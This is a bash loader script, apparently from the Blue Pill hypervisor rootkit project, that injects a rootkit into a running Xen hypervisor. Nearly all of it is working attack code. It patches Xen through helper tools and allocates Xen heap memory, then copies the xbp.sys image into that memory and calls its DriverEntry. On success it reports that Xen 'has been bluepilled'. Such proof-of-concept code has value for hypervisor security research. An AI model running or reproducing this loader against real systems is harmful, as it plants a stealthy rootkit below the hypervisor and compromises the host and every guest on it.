#!/bin/bash

XEN_PRINTK_ADDR=0 # don't use Xen's printk
#XEN_PRINTK_ADDR=0xffff828c80120340 # xen 3.2.0
#XEN_PRINTK_ADDR=0xffff830000122910 # xen 3.1.2 fc8 2650

DRVNAME=xbp.sys

error()
{
echo Something went wrong :/
pushd ../direct_hdd; xenunhack; popd
exit 1
}

getdriverentry()
{
DRVENTRY=`objdump -x $DRVNAME 2>/dev/null | grep AddressOfEntry | sed 's/\w* *[\t\s]*\([0-9a-fA-F]*\)/0x\1/'`
echo drventry offset = $DRVENTRY
DRVENTRY=$(($DRVENTRY+$BPBASE))
DRVENTRY=`printf "0x%x" $DRVENTRY`
echo drventry        = $DRVENTRY
}


ORIG_PATH=$PATH
PATH=$(dirname `pwd`)/direct_hdd:$(dirname `pwd`)/devel:$PATH
export PATH=$PATH
pushd ../direct_hdd # this suks, but apparently insmod doesn't search PATH for modules
source ../direct_hdd/xenhack || error
popd
echo Xen patched, ready to load BP...

echo XEN_PHYS_START=$XEN_PHYS_START

IMAGESIZE=`objdump -x $DRVNAME 2>/dev/null | grep SizeOfImage | sed 's/\w* *[\t\s]*\([0-9a-fA-F]*\)/0x\1/'`
SIZE=0x300000 # current XBP reuires 1MB of memory space for itself
#SIZE=$IMAGESIZE
echo BluePill images size = $IMAGESIZE
echo BluePill total  size = $SIZE
echo Trying to allocate memory from Xen...
BPBASE=`xenpgalloc $SIZE`
if ! [ $? = 0 ] ; then error; fi

echo "BluePill base at: $BPBASE"
echo Copying file image into Xen heap...
xenwritemem $BPBASE $IMAGESIZE $DRVNAME
if ! [ $? = 0 ] ; then error; fi
getdriverentry
BPBASE_PA=`xenva2pa $BPBASE $XEN_PHYS_START`
echo "BluePill base pa: $BPBASE_PA"
sync
echo "About to call BluePill's DriverEntry..."
./xenrunbp $DRVENTRY $BPBASE $BPBASE_PA $XEN_PRINTK_ADDR
if [ $? = 0 ] ; then
	echo '**************************************************************'
	echo '* Your Xen has been bluepilled sucessfully. Have a nice day. *'
	echo '**************************************************************'
else
	echo We are sorry, but we were unable to load bluepill this time.
	exit 1
fi

pushd ../direct_hdd
./xenunhack
popd
PATH=$ORIG_PATH


